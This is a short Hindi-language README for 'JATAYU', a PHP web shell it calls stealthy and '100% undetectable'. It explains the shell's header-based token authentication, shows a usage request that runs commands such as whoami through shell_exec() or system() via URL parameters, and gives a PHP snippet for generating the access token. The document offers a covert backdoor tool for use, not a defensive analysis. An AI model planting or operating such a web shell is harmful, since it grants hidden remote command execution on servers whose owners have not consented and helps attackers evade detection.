JATAYU

गुप्त एवं स्वतंत्र PHP वेब शेल

विशेषताएँ

• HTTP हेडर-आधारित प्रमाणीकरण।
• 100% अज्ञेय।
• कार्यान्वयन फ़ंक्शन परिवर्तक।
• कोई अतिरिक्त आकर्षण नहीं।

उपयोग

GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499

फ़ंक्शन

पैरामीटर	फ़ंक्शन
fn=1	फ़ंक्शन shell_exec() को कॉल करता है
fn=2	फ़ंक्शन system() को कॉल करता है
cmd=id	कमांड निष्पादित करता है

प्रमाणीकरण टोकन उत्पन्न करें

<?php
$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
    $r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
    $r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
echo $apiKey;
?>